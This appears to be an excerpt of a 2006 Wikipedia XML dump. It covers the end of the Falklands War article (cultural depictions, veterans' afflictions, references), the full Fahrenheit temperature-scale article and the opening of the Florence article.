Very few films emerged from the conflict, one such being the [[1989]] BBC drama ''[[Tumbledown]]'', which starred [[Colin Firth]] in an early role. It told the tale of a soldier in the [[Scots Guards]], brain-damaged by a sniper's bullet, adjusting to disabled life after the war. In 1992 the BBC produced ''[[An Ungentlemanly Act]]'', relating the story of the initial defence of the Islands during the Argentine Invasion, with [[Bob Peck]] as Mike Norman and [[Ian Richardson]] as Rex Hunt. [[Ian Curteis]]' ''[[The Falklands Play]]'' was commissioned by the BBC in 1986, but was not filmed until [[2004]]; the BBC claimed that it would have been broadcast too close to the 1987 General Election. Curteis maintained that the generally sympathetic portrayal of [[Margaret Thatcher]] refuted a perceived BBC anti-government bias. On a lighter note, the character of [[Grant Mitchell (EastEnders)|Grant Mitchell]] from the popular, gritty [[soap opera]] ''[[EastEnders]]'' was written as a traumatised Falklands veteran, although this characterisation was swiftly abandoned.

[[Tottenham Hotspur F.C.|Tottenham Hotspur's]] popular Argentine midfielder [[Ossie Ardiles]] had helped beat [[Leicester City F.C.|Leicester City]] one day after the invasion, to no ill effect, although he subsequently left the UK for a year of his own volition. The war also created heightened passions between [[Argentina national football team|Argentina]] and [[English national football team|England]] in the [[Football World Cup 1986|1986]], [[Football World Cup 1998|1998]], and [[Football World Cup 2002|2002]] FIFA World Cups, featuring memorable, and sometimes infamous, performances by [[Diego Maradona]], [[Peter Shilton]], and [[David Beckham]]. (See [[Argentina and England football rivalry]]).

Although the war did not have a direct impact on British civilians, it nonetheless had impacts on British pop culture. Popular music referencing the war included [[Elvis Costello]]'s song &quot;[[Shipbuilding]]&quot;, [[New Order]]'s song &quot;Blue Monday&quot;, [[Iron Maiden]]'s song &quot;Como Estais Amigos&quot;, [[Pink Floyd]]'s songs &quot;Get Your Filthy Hands Off My Desert&quot;, &quot;The Fletcher Memorial Home&quot;, and &quot;Not Now John&quot; from the album ''[[The Final Cut (album)|The Final Cut]]'', [[Billy Bragg]]'s song &quot;Island of No Return&quot; and [[The Bluebells]]' song &quot;South Atlantic Way&quot;. [[Joe Jackson (musician)|Joe Jackson]]'s 1986 song &quot;Tango Atlantico&quot; deals with a description of the end of the war and the aftermath. Much material produced around this time by the [[anarchist]] [[punk rock|punk]] band [[Crass]] was extremely critical of the war, in particular the album ''[[Yes Sir, I Will]]'' and the singles &quot;Sheep Farming in the Falklands&quot; and &quot;How Does it Feel to be the Mother of 1000 Dead?&quot; The latter, intended as a statement directed at Mrs Thatcher, led to questions in parliament and a request for prosecution for [[Obscene Publications Act|obscenity]] from Conservative MP for [[Enfield]] North [[Timothy Eggar]] [http://www.southern.com/southern/label/CRC/09422b.html]. Crass were also responsible for [[Thatchergate]], a [[hoax]] tape, originally attributed to the [[Soviet]] [[KGB]], on which the spliced voice of Margaret Thatcher appears to imply that the HMS ''Sheffield'' was deliberately sacrificed in order to escalate the conflict.

The popular computer games ''[[Harrier Attack]]'' and ''[[Yomp (computer game)|Yomp]]'' presented unofficial portraits of the fighting.

The aforementioned [[Simon Weston]], a [[Welsh Guards|Welsh Guardsman]] who had suffered serious burns during the conflict, became a popular figure due to British media coverage. A series of television documentaries followed his progress and eventual recovery from his injuries (''[[Simon's War]]'' being the first).

The film version of ''[[Whoops Apocalypse]]'' features a conflict very similar to the Falklands War between Great Britain and a fictional country Maguadora over the fictional Santa Maya.

==Falklands War Veterans afflictions==
The British Ministry of Defence was accused several times of a systematic failure to prepare service personnel for the horrors of war and provide adequate care for them afterwards.

There are strong allegations that the Ministry of Defence has tried to ignore the issue of [[Post-traumatic stress disorder|Post Traumatic Stress Disorder]] (PTSD), which left many sufferers emotionally scarred and unable to work, inmersed in social dislocation, alcoholism, and depression. Most veterans have suffered prolonged personality disorders, flashbacks and anxiety levels sometimes reaching pathological levels.

It was revealed that more veterans have committed suicide since the Falklands conflict ended than the number of servicemen killed in action [http://news.bbc.co.uk/onthisday/hi/witness/april/24/newsid_2947000/2947639.stm].

SAMA - the South Atlantic Medal Association, which represents and helps Falklands veterans - believe some 264 veterans have now taken their own lives, a number that contrasts with the 255 who died on active service.

A similar situation afflicts the veterans on the Argentine side, many of whom have similarly suffered from psychiatric disorders, drug and alcohol abuse, and social turmoil with the current number of suicide deaths at 320.

== Artistic treatments ==
=== Computer games ===
*[http://www.harpoonhq.com/harpoon3/scenarios/plot-falklands.html Falklands War - 1982] &amp;mdash; This scenario collection, created with the Harpoon3 naval / aerial warfare simulator, is intended to accurately recreate the real-life war from 1982.

==See also==
{{commons|Falklands war}}
* [[Operation Algeciras]] - A failed plan conceived by the Argentine military to send some [[Montoneros]] to sabotage the British military facilities in [[Gibraltar]].
* [[1833 invasion of the Falkland Islands]]

==References==
{{Wikiquote}}
* Freedman, Sir L. ''Official History of the Falklands: Vol 2''. Frank Cass, 2005 ISBN 0714652075
* [http://www.timesonline.co.uk/newspaper/0,,170-1670775,00.html The Times article on Freedman's work] [[June 27]] [[2005]], Evans, M. and Hamilton, A.
* [http://www.telegraph.co.uk/news/main.jhtml?xml=%2Fnews%2F2002%2F03%2F13%2Fnot13.xml  &quot;How France helped us win Falklands war, by John Nott&quot;, By George Jones, Political Editor (Filed: 13/03/2002)]
* {{fnb|1}} {{cite web
 | title = 1982: Marines land in South Georgia
 | work = BBC
 | url = http://news.bbc.co.uk/onthisday/hi/dates/stories/april/25/newsid_2503000/2503977.stm
 | accessdate = 20 June
 | accessyear = 2005
 }}

==External links==
*[http://www.falklandswar.org.uk/index.htm Falklandswar.org.uk]
*[http://www.gazettes-online.co.uk/archiveViewFrameSetup.asp?IssueNumber=49134&amp;pageNumber=1&amp;PageDuplicate=x0 Victoria Cross and other citations], [[London Gazette]], [[11 October]] [[1982]]
*[http://www.guardian.co.uk/falklands/story/0,11707,657871,00.html The Guardian: Julian Barnes]
*[http://www.gregoryferdinandsen.com/EZE2001/Falklands_Memorial.htm Malvinas War Memorial] ([[Buenos Aires]])
*[http://www.falklands-malvinas.com/forum Falklands/Malvinas Forum] ([[English language|English]]/[[Spanish language|Spanish]])
*[http://www.cecim.org.ar ex-7th Argentine Infantry Regiment veterans] ([[Spanish language|Spanish]])
*[http://www.falklands.info/history/82timeline.html Falklands War Timeline]
*[http://www.falklands.info/history/82doc.html Falklands War Documents]
*[http://www.falklands.info/history/82articles.html Falklands War Articles]

{{Falklands War}}

[[Category:Falklands War|*]]
[[Category:Wars of Argentina]]
[[Category:Wars of Great Britain]]

{{Link FA|es}}

[[da:Falklandskrigen]]
[[de:Falklandkrieg]]
[[eo:Falklanda milito]]
[[es:Guerra de las Malvinas]]
[[fi:Falklandin sota]]
[[fr:Guerre des Malouines]]
[[he:מלחמת פוקלנד]]
[[hr:Falklandski rat]]
[[hu::Falkland-szigeteki háború]]
[[id:Perang Falkland]]
[[it:Guerra delle Falkland]]
[[ja:フォークランド戦争]]
[[ko:포클랜드 전쟁]]
[[ms:Perang Falkland]]
[[nl:Falklandoorlog]]
[[no:Falklandskrigen]]
[[pl:Wojna o Falklandy-Malwiny]]
[[pt:Guerra das Malvinas]]
[[ru:Фолклендский конфликт]]
[[sr:Фокландски рат]]
[[sv:Falklandskriget]]
[[zh:马岛战争]]</text>
    </revision>
  </page>
  <page>
    <title>Fahrenheit</title>
    <id>11524</id>
    <revision>
      <id>41912833</id>
      <timestamp>2006-03-02T15:57:38Z</timestamp>
      <contributor>
        <ip>65.88.32.227</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}

'''Fahrenheit''' is a [[temperature]] scale named after the [[Germany|German]] [[physicist]] [[Gabriel Fahrenheit]] ([[1686]]&amp;ndash;[[1736]]), who proposed it in [[1724]]. 

In this scale, the [[freezing point]] of [[water]] is 32 degrees Fahrenheit (written &quot;32 °F&quot;), and the boiling point is 212 degrees, placing the boiling and melting points of water 180 degrees apart. Thus the [[unit]] of this scale, a degree Fahrenheit, is 5/9ths of a [[kelvin]] (which is a degree [[Celsius]]), and minus 40 degrees Fahrenheit is equal to minus 40 degrees Celsius. 

==History==
There are several competing versions of the story of how Fahrenheit came to devise his temperature scale. One states that Fahrenheit established the zero (0 °F) and 100 °F points on his scale by recording the lowest outdoor temperatures he could measure, and his own [[body temperature]]. He took as his zero point the lowest temperature he measured in the harsh winter of 1708 through 1709 in his home town of [[Gdańsk]] ([[Danzig]]) (−17.8 °C). (He was later able to reach this temperature under laboratory conditions using a mixture of [[ice]], [[ammonium chloride]] and water.) Fahrenheit wanted to avoid the negative temperatures which [[Ole Rømer]]'s scale had produced in everyday use. Fahrenheit fixed his own body temperature as 100 °F (normal body temperature is closer to 98.6 °F, suggesting that Fahrenheit was suffering a [[fever]] when he conducted his experiments or that his thermometer was not very accurate), and divided his original scale into twelve divisions; later dividing each of these into 8 equal subdivisions produced a scale of 96 degrees. Fahrenheit noted that his scale placed the [[freezing point]] of water at 32 °F and the boiling point at 212 °F, a neat 180 degrees apart.

Another holds that Fahrenheit established the zero of his scale (0 °F) as the temperature at which an equal mixture of [[ice]] and [[sodium chloride|salt]] melts (some say he took that fixed mixture of ice and salt that produced the lowest temperature); and ninety-six degrees as the temperature of blood (he initially used horse blood to calibrate his scale). Initially, his scale only contained 12 equal subdivisions, but later he subdivided each division into 8 equal degrees ending up with 96. He then observed that plain water would freeze at 32 degrees and boil at 212 degrees.

A third well-known version of the story, as described in the popular physics television series [[The Mechanical Universe]], holds that Fahrenheit simply adopted [[Ole Rømer|Rømer]]'s scale, at which water freezes at 7.5 degrees, and multiplied each value by 4 in order to eliminate the fractions and increase the granularity of the scale (giving 30 and 240 degrees).  He then re-calibrated his scale between the freezing point of water and normal human body temperature (which he took to be 96 degrees); the freezing point of water was adjusted to 32 degrees so that 64 intervals would separate the two, allowing him to mark degree lines on his instruments by simply bisecting the interval six times (since 64 is 2 to the sixth power).

His measurements were not entirely accurate, though; by his original scale, the actual freezing and boiling points would have been noticeably different from 32 °F and 212 °F. Some time after his death, it was decided to recalibrate the scale with 32 °F and 212 °F as the exact freezing and boiling points of plain water. That change was made to easily convert from Celsius to Fahrenheit and vice versa, with a simple formula. This change also explains why the body temperature once taken as 96 or 100 °F by Fahrenheit is today taken by many as 98.6 °F (it is a direct conversion of 37 °C, a case of excess precision), although giving the value as 98 °F would be more accurate.

A fourth, not so well-known version of the origin of the Fahrenheit scale depends on Fahrenheit himself being a [[Freemason]] (of which there is no definitive evidence). In [[Freemasonry]], there are 32 degrees of enlightenment, 32 being the highest. The use of the '[[degree (temperature)|degree]]' as well is said to have been derived from the degrees of masonry. This may well be coincidence, but there is no conclusive evidence to the contrary, so the thought persists.

A fifth version maintains that Fahrenheit based 0 degrees on an estimate of the temperature someone would freeze to death, and 100 degrees on the temperature someone would die of heat exhaustion from, therefore making 0 to 100 the livable range for human beings.

==Usage==
The Fahrenheit scale was the primary temperature standard for climatic, industrial and medical purposes in most English-speaking countries until the [[1960s]].  In the late [[1960s]] and [[1970s]] the [[Celsius]] (formerly ''centigrade'') scale was phased-in by governments as part of the standardizing process of [[metrication]]. 

Fahrenheit supporters claim its previous popularity was due to Fahrenheit's user-friendliness. The unit of measure, being only 5/9 the size of the Celsius degree, permits more precise communication of measurements without resorting to fractional degrees. Also, the ambient air temperature in most inhabited regions of the world tends not to go far beyond the range of 0 °F to 100 °F: therefore, the Fahrenheit scale would reflect the perceived ambient temperatures, following 10-degree bands that emerge in the Fahrenheit system:

*10s Deep Frost.
*20s Light Frost.
*30s Cold. Close to freezing.
*40s Cold. Heavy clothing needed.
*50s Very cool. Moderate Clothing required.
*60s Cool. Light clothing.
*70s Comfortable. Summer clothing.
*80s Warm. Bearable. Minimal clothing.
*90s Hot.
*100s Very hot. Take precautions against overheating.

However, such a correlation is largely the result of habit: in the same way, Celsius supporters might indicate that 0&amp;ndash;10 °C indicates cold, 10&amp;ndash;20 °C mild, 20&amp;ndash;30 °C warm and 30&amp;ndash;40 °C hot, with the minus sign indicating frost.

Some people also feel that Fahrenheit scale also allows for different levels of accuracy, although it is more of a matter of how a common set of units for something like temperature has entered the language.  For example, it is common for American weather forecasts to predict a temperature of the &quot;low 40s&quot; for three days down the road and the &quot;50s&quot; for next week. Expressing this on the Celsius scale would require different wording.

In [[Jamaica]] and the [[United States]], where metrication has encountered resistance from industry and consumers, the Fahrenheit system continues to be very widely used. In most parts of the [[United Kingdom]] Celsius has been adopted, although Fahrenheit is still occasionally used by older generations for everyday measurement of higher temperatures, while lower temperatures are more often measured in degrees Celsius. Younger generations in the UK and most other countries have adopted Celsius as the primary scale in use.

==Trivia==
The [[Autoignition temperature|fire point]], or kindling point, of paper is claimed by some to be 451 °F (233 °C) (the actual kindling point depends on the the type of pulp used in the paper's manufacture, chemical content, paper thickness etc.). For this reason it is the title of the book by [[United States|American]] author [[Ray Bradbury]], ''[[Fahrenheit 451]]''.
{{Comparison of temperature scales}}

{{TemperatureScales}}

[[Category:Imperial units]]
[[Category:SI derived units]]
[[Category:Units of temperature]]

[[bg:Фаренхайт]]
[[ca:Fahrenheit]]
[[cs:Stupeň Fahrenheita]]
[[da:Fahrenheit]]
[[de:Grad Fahrenheit]]
[[es:Grado Fahrenheit]]
[[fi:Fahrenheit-asteikko]]
[[fr:Fahrenheit]]
[[gl:Fahrenheit]]
[[hu:Fahrenheit]]
[[it:Fahrenheit]]
[[ja:華氏]]
[[ko:화씨]]
[[nl:Fahrenheit]]
[[no:Fahrenheit]]
[[pl:Skala Fahrenheita]]
[[pt:Fahrenheit]]
[[ru:Градус Фаренгейта]]
[[simple:Fahrenheit]]
[[sk:Stupeň Fahrenheita]]
[[sl:Fahrenheitova temperaturna lestvica]]
[[sr:Фаренхајт]]
[[sv:Grad Fahrenheit]]
[[th:ฟาเรนไฮต์]]
[[zh:华氏温标]]</text>
    </revision>
  </page>
  <page>
    <title>Florence</title>
    <id>11525</id>
    <revision>
      <id>41764228</id>
      <timestamp>2006-03-01T16:01:20Z</timestamp>
      <contributor>
        <username>Proto</username>
        <id>224548</id>
      </contributor>
      <minor />
      <comment>/* Transportation */ busses --&gt; buses</comment>
      <text xml:space="preserve">{{otheruses}}
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ style=&quot;font-size: larger;&quot;|'''Comune di Firenze'''
|-
|align=&quot;center&quot; colspan=2|
{| border=&quot;0&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-
|colspan=&quot;2&quot; align=&quot;center&quot; width=&quot;140px&quot;|[[Image:FlorenceSymbol-giglio.png|100px|]]
|-
|colspan=&quot;2&quot; align=&quot;center&quot; width=&quot;140px&quot;|City [[Seal (device)|seal]]
|}
|-
|Founded|| [[59 BC]] as ''Florentia''
|-
|Region||[[Tuscany]]
|-
||[[Mayor]]|| [[Leonardo Domenici]] (''[[Democrats of the Left|Democratici di Sinistra]]'')
|-
|[[Area]]&lt;br /&gt;&amp;nbsp;- City Proper || &lt;br /&gt;&amp;nbsp;102 [[1 E6 m²|km²]]
|-
|[[Population]]&lt;br/&gt;&amp;nbsp;- City ([[2004]])&lt;br /&gt;&amp;nbsp;- Metropolitan &lt;br /&gt;&amp;nbsp;- [[Density]] (city proper)  ||&lt;br /&gt; 356,000 &lt;br /&gt; almost 500,000 &lt;br /&gt; 3,453/km²
|-
|[[Time zone]]||[[Central European Time|CET]], [[UTC]]+1
|-
|Latitude&lt;br /&gt;Longitude &lt;br /&gt;||43°47' N&lt;br /&gt;11°15' E
|-
|align=&quot;center&quot; colspan=2|[http://www.comune.firenze.it/ www.comune.firenze.it]
|-
|align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot;|[[Image:66360262.JPG|right|300px|Florence's world famous skyline]]&lt;br&gt;&lt;small&gt;An overview of Florence (Italian: Firenze)&lt;/small&gt;
|}

[[Image:Firenze dot.png|thumb|200px|Florence]]

'''Florence''' ([[Italian language|Italian]]: ''Firenze'') is the capital [[city]] of the region of [[Tuscany]], [[Italy]] .  From [[1865]] to [[1870]] the city was also the capital of the Kingdom of Italy. Florence lies on the [[Arno River]] and has a population of around 400,000 people, plus a suburban population in excess of 200,000 persons. The greater area has some 956,000 people. A center of medieval [[Europe]]an [[trade]] and [[finance]], the city is often considered the birthplace of the [[Italian Renaissance]] and was long ruled by the [[Medici]] family. Florence is also famous for its fine [[art]] and [[architecture]]. It is said that, of the 1,000 most important European artists of the second millennium, 350 lived or worked in Florence.

==History of Florence==

''Main article: [[History of Florence]]''

Florence's recorded history began with the establishment in [[59 BC]] of a settlement for [[Roman Republic|Roman]] former soldiers, with the name '''Florentia'''. [[Julius Caesar]] had allocated the fertile soil of the valley of the [[Arno]] to his veterans. They built a [[castrum]] in a chessboard pattern of an army camp (''castrum'') , with the main streets, the ''cardo'' and the ''decumanus'', intersecting at the present ''Piazza della Repubblica''. This pattern can still be found in the city center. Florentia was situated at the ''Via Cassia'', the main route between Rome and the North. Through this advantageous position, the settlement could rapidly expand into an important commercial center. Emperor [[Diocletianus]] made Florentia  capital of the province of ''Tuscia'' in the 3rd century AD.

St Minias was Florence’s first [[martyr]]. He was beheaded at about 250 AD, during the anti-Christian persecutions of the Emperor [[Decius]]. The [[Basilica di San Miniato al Monte]] now stands near the spot.

The seat of a bishopric from around the beginning of the 4th century AD, the city experienced subsequent turbulent periods of [[Byzantine Empire|Byzantine]], [[Ostrogothic]] rule, during which the city was often besieged and ravaged. The population may have fallen to as few as 1,000 persons.  

Peace returned under [[Lombard]] rule in the 6th century. Conquered by [[Charlemagne]] in 774, Florence became part of the duchy of Tuscany, with [[Lucca]] as capital. Population began to grow again and commerce prospered. In 854 Florence and [[Fiesole]] were united in one county.

[[Margrave]] Hugo chose Florence as his residency instead of Lucca at about 1000 AD. This initiated the Golden Age of Florentine art. In 1013 the construction was begun of the Basilica di San Miniato al Monte. The exterior of the [[Battistero di San Giovanni (Florence)|baptistry]] was reworked in Romanesque style between 1059 and 1128. 

Reviving from the 10th century and governed from [[1115]] by an autonomous commune, the city was plunged into internal strife by the [[13th century|13th-century]] struggle between the [[Ghibellines]], supporters of the [[Germany|German]] emperor, and the pro-[[Papacy|Papal]] [[Guelphs]], who after their victory split in turn into feuding &quot;White&quot; and &quot;Black&quot; factions led respectively by [[Vieri de Cerchi]] and [[Corso Donati]]. (See [[Guelphs and Ghibellines]].)  These struggles eventually led to the exile of the White Guelphs, one of whom was [[Dante Alighieri]]. This factional strife was later recorded by [[Dino Compagni]], a White Guelph, in his [[Chronicles of Florence]].

Political conflict did not, however, prevent the city's rise to become one of the most powerful and prosperous in Europe, assisted by her own strong gold currency, the [[guilder|florin]] (introduced in [[1252]]), the eclipse of her formerly powerful rival [[Pisa]] (defeated by [[Genoa]] in [[1284]] and subjugated by Florence in [[1406]][http://www.florence-italy-guide.com/]), and the exercise of power by the mercantile elite following an anti-aristocratic movement, led by [[Giano della Bella]], that resulted in a set of laws called the [[Ordinances of Justice]] ([[1293]]).

[[Image:Europa06 211.jpg|300px|thumb|A rare snow-covered Florence]]
Of a population estimated at 80,000 before the [[Black Death]] of [[1348]], about 25,000 are said to have been supported by the city's woollen industry: in [[1345]] Florence was the scene of an attempted strike by wool combers (''ciompi''), who in [[1378]] rose up in a brief revolt against oligarchic rule in the [[Revolt of the Ciompi]]. After their suppression, the city came under the sway ([[1382]]-[[1434]]) of the [[Albizzi]] family, bitter rivals of the Medici.  [[Cosimo de' Medici]] was the first Medici family member to essentially control the city from behind the scenes. Although the city was technically a democracy of sorts, his power came from a vast [[patronage]] network along with his alliance to the new immigrants, the [[gente nuova]]. The fact that the Medici were bankers to the pope also contributed to their rise. Cosimo was succeeded by his son [[Piero di Cosimo de' Medici|Piero]], who was shortly thereafter succeeded by Cosimo's grandson, [[Lorenzo de' Medici|Lorenzo]] in 1469. Lorenzo was a great patron of the arts, commissioning works by [[Michelangelo]], [[Leonardo da Vinci]] and [[Sandro Botticelli|Botticelli]].

After Lorenzo's death in 1492 and his son Piero's exile in 1494, the first period of Medici rule ended with the restoration of a republican government, influenced until his execution ([[1498]]) by the teachings of the radical Dominican prior [[Girolamo Savonarola]], whose monomaniacal persecution of the widespread Florentine [[Homosexuality#History|sodomy]] and of other worldly pleasures foreshadowed many of the wider religious controversies of the following centuries.

A second individual of unusual insight was [[Niccolò Machiavelli]], whose prescriptions for Florence's regeneration under strong leadership have often been seen as a legitimisation of political expediency and even malpractice. Commissioned by the Medici, Machiavelli also wrote the [[Florentine Histories]], the history of the city. Florentines drove out the Medici for a second time and re-established a [[republic]] on [[May 16]], [[1527]]. 
Restored twice with the support of both Emperor and Pope, the Medici in 1537 became hereditary dukes of Florence, and in [[1569]] [[Grand Duchy of Tuscany|Grand Dukes of Tuscany]], ruling for two centuries. Only Republic of [[Lucca]] (later a [[Duchy of Lucca|Duchy]]) was independent from Florence in all Tuscany.  

The extinction of the Medici line and the accession in [[1737]] of Francis Stephen, duke of Lorraine and husband of Maria Theresa of Austria, led to Tuscany's inclusion in the territories of the [[Austria]]n crown. Austrian rule was to end in defeat at the hands of France and the kingdom of [[Sardinia]]-Piedmont in [[1859]], and Tuscany became a province of the united kingdom of [[Italy]] in [[1861]].

Florence replaced Turin as Italy's capital in [[1865]], hosting the country's first parliament, but was superseded by [[Rome]] six years later following its addition to the kingdom. After doubling during the 19th century, Florence's population tripled in the 20th with the growth of tourism, trade, financial services and industry. During [[World War II]] the city experienced a year-long German occupation (1943-1944). The Allied soldiers who died driving the Germans from Tuscany are buried in cemeteries outside the city (Americans about 9 kilometers (6 miles) south of the city [http://www.asgdd.it//amevceme.htm], British and Commonwealth soldiers a few kilometers east of the center on the north bank of the Arno [http://www.veteransagency.mod.uk/remembrance/remembrance_cwgc6.htm])

In November 1966 the Arno flooded parts of the centre, damaging many art treasures. There was no warning from the authorities who knew the flood was coming, except a phone call to the jewellers on the Ponte Vecchio.

===Florence and the Renaissance===

The surge in artistic, literary, and scientific investigation that occurred in Florence in the [[14th century|14th]]-[[16th century|16th]] centuries was precipitated by Florentines' preoccupation with money, banking and trade and with [[conspicuous consumption|the display of wealth and leisure]].

Added to this, the crises of the [[Catholic]] church (especially the controversy over the French [[Avignon Papacy]] and the [[Western Schism|Great Schism]]) along with the catastrophic effects of the [[Black Death]] were to lead to a re-evaluation of [[medieval]] values, resultant in the development of a [[humanist]] culture, stimulated by the works of [[Petrarch]] and [[Giovanni Boccaccio|Boccaccio]]. This prompted a revisitation and study of the [[classical antiquity]], leading to the [[Renaissance]]. Florence benefited materially and culturally from this sea-change in [[social consciousness]].

==Geography==
{{section stub}}

===Climate===
{| class=&quot;wikitable&quot;
! style=&quot;background: #99CCCC; color: #000080&quot; height=&quot;17&quot; | Month
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jan
! style=&quot;background: #99CCCC; color:#000080;&quot; | Feb
! style=&quot;background: #99CCCC; color:#000080;&quot; | Mar
! style=&quot;background: #99CCCC; color:#000080;&quot; | Apr
! style=&quot;background: #99CCCC; color:#000080;&quot; | May
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jun
! style=&quot;background: #99CCCC; color:#000080;&quot; | Jul
! style=&quot;background: #99CCCC; color:#000080;&quot; | Aug
! style=&quot;background: #99CCCC; color:#000080;&quot; | Sep
! style=&quot;background: #99CCCC; color:#000080;&quot; | Oct
! style=&quot;background: #99CCCC; color:#000080;&quot; | Nov
! style=&quot;background: #99CCCC; color:#000080;&quot; | Dec
! style=&quot;background: #99CCCC; color:#000080;&quot; | Year
|-
! style=&quot;background: #99CCCC; color:#000080;&quot; | Avg high [°C](°F)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 10 (50)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 12 (54)
| style=&quot;background: #FFCC66; color:#000080;&quot; | 15 (59)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 19 (66)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 23 (74)
| style=&quot;background: #FF9900; color:#000080;&quot; | 27 (81)
| style=&quot;background: #FF9900; color:#000080;&quot; | 31 (88)
| style=&quot;background: #FF9900; color:#000080;&quot; | 31 (87)
| style=&quot;background: #FF9900; color:#000080;&quot; | 27 (80)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 21 (70)
| style=&quot;background: #FFCC66; color:#000080;&quot; | 15 (59)
| style=&quot;background: #FFFF99; color:#000080;&quot; | 11 (51)
| style=&quot;background: #FFCC00; color:#000080;&quot; | 20 (68)
|-
! style=&quot;background: #99CCCC; color:#000080;&quot; height=&quot;16;&quot; | Avg low temperature [°C](°F)
| style=&quot;background: #FFFFCC; color: black;&quot; | 2 (35)
| style=&quot;background: #FFFFCC; color: black;&quot; | 3 (37)
| style=&quot;background: #FFFFCC; color: black;&quot; | 5 (41)
| style=&quot;background: #FFFF99; color: black;&quot; | 8 (46)
| style=&quot;background: #FFCC66; color: black;&quot; | 11 (52)
| style=&quot;background: #FFCC66; color: black;&quot; | 15 (59)
| style=&quot;background: #FFCC66; color: black;&quot; | 17 (63)
| style=&quot;background: #FFCC66; color: black;&quot; | 17 (63)
| style=&quot;background: #FFCC66; color: black;&quot; | 14 (58)
| style=&quot;background: #FFFF99; color: black;&quot; | 10 (50)
| style=&quot;background: #FFFFCC; color: black;&quot; | 6 (42)
| style=&quot;background: #FFFFCC; color: black;&quot; | 2 (36)
| style=&quot;background: #FFFF99; color: black;&quot; | 9 (49)
|-
! style=&quot;background: #99CCCC; color:#000080;&quot; | Rainfall ([[millimeters]])(inches)
| style=&quot;background: #2288BB;&quot; | ? (2.90)
| style=&quot;background: #2288BB;&quot; | ? (2.70)
| style=&quot;background: #44AADD;&quot; | ? (3.20)
| style=&quot;background: #44AADD;&quot; | ? (3.10)
| style=&quot;background: #44AADD;&quot; | ? (2.90)
| style=&quot;background: #66CCFF;&quot; | ? (2.20)
| style=&quot;background: #66CCFF;&quot; | ? (1.60)
| style=&quot;background: #66CCFF;&quot; | ? (3.00)
| style=&quot;background: #66CCFF;&quot; | ? (3.10)
| style=&quot;background: #44AADD;&quot; | ? (3.50)
| style=&quot;background: #2288BB;&quot; | ? (4.40)
| style=&quot;background: #2288BB;&quot; | ? (3.60)
| style=&quot;background: #2288BB;&quot; | ? (?)
|}

==A tour of Florence==
[[Image:florence duomo tower.jpg|thumb|Florence Duomo and Campanile Tower]]
[[Image:Duomo combine.jpg|thumb|Combination pic of the view from the tower looking towards the Duomo]]
[[Image:Florence ponte vecchio.jpg|thumb|Ponte Vecchio]]
[[Image:Florence italy duomo.jpg|thumb|The Duomo in Florence is constantly being cleaned to remove the effects of pollution]]
[[Image:Florence bridges.jpg|right|thumb|The bridges of Florence at sunset from Piazzale Michelangelo]]

At the heart of the city is the [[Fountain of Neptune]], which is a masterpiece of marble sculpture at the terminus of a still functioning Roman [[aqueduct]]. 
The [[Arno river]], which cuts through the old part of the city, is as much a character in Florentine history as many of the men who lived there. Historically, the locals have had a love-hate relationship with the Arno &amp;mdash; which alternated from nourishing the city with commerce, and destroying it by flood. Many of the bridges across the Arno were built by the Romans.

One of the bridges in particular, however, stands out as being unique &amp;mdash; The [[Ponte Vecchio]], whose most striking feature is the multitude of shops built upon its edges, held up by stilts. First constructed by the [[Etruscans]] in ancient times, this bridge is the only one in the city to have survived [[World War II]] intact.

The most famous palace in the city is [[Basilica di San Lorenzo di Firenze|San Lorenzo]], which has become a monument to the [[Medici family]] who were one of the most powerful families in Florence during the [[15th century]]. Nearby is the [[Uffizi]] Gallery, one of the finest art galleries in the world.  

The Uffizi itself is located on the corner of Piazza della Signoria, a site important for three main reasons:
* In [[1301]], it was where Dante was sent into Exile (a plaque on one of the walls of the Uffizi commemorates the event).
* In [[1497]], it was the location of the [[Bonfire of the Vanities]] (a plaque in the middle of the plaza commemorates that event), followed in [[1498]] by the execution of its instigator, [[Girolamo Savonarola]]
* In [[1504]], it was the original location of [[Michelangelo's David]] (now replaced by a reproduction as the original was moved indoors to the [[Accademia dell' Arte del Disegno]]), in front of the [[Palazzo della Signoria]] (aka Palazzo Vecchio).

In addition to the Uffizi, Florence has other world-class museums: 

The [[Bargello]] concentrates on [[sculpture]], containing many priceless works of art created by such sculptors as [[Donatello]], [[Giambologna]], and [[Michelangelo]]. 

The ''[[Accademia dell' Arte del Disegno]]'' (often simply called the ''Accademia'') collection's highlights are [[Michelangelo's David]] and his ''Slaves''. 

Across the Arno is the huge [[Pitti Palace]] lavishly decorated with the Medici family's former private collection. Adjoining the Palace are the [[Boboli Gardens]], elaborately landscaped and with many interesting sculptures.

The elaborate [[Basilica di Santa Croce, Florence|Santa Croce]] church contains the monumental tombs of [[Galileo Galilei|Galileo]], Michelangelo, [[Niccolò Machiavelli|Machiavelli]], Dante (actually a [[cenotaph]]), and many other notables.

The crowning architectural jewel of Florence is the domed cathedral of the city, [[Santa Maria del Fiore]], known as &quot;The [[Duomo]]&quot;. The magnificent [[dome]] was built by [[Filippo Brunelleschi]].  The nearby [[Campanile]] Tower (by [[Giotto di Bondone|Giotto]]) and the [[Battistero di San Giovanni (Florence)|Baptistery]] buildings are also highlights.   

Other important [[Basilica|basilicas]] in Florence include [[Santa Maria Novella]], [[Basilica di San Lorenzo di Firenze|San Lorenzo]], [[Santo Spirito]] and the [[Orsanmichele]].

The city's principal football team is [[AC Fiorentina]].

Florence has been the setting for numerous works of [[fiction]] and [[film|movie]]s, including the [[novel]]s and associated films ''[[Hannibal (movie)|Hannibal]]'' and [[A Room with a View]].

==Demography==

Like many cities in [[Italy]], the pensioner population overwhelms those who are under 14 years of age. This ageing process is due to low [[fertility]] which is widespread in Italy.

'''Age Structure'''
*0-14: 11.0%
*15-64: 63.2%
*65+: 25.8%

'''Racial Profile'''
*91.8% [[Italy|Italian]]
*1.0% [[China|Chinese]]
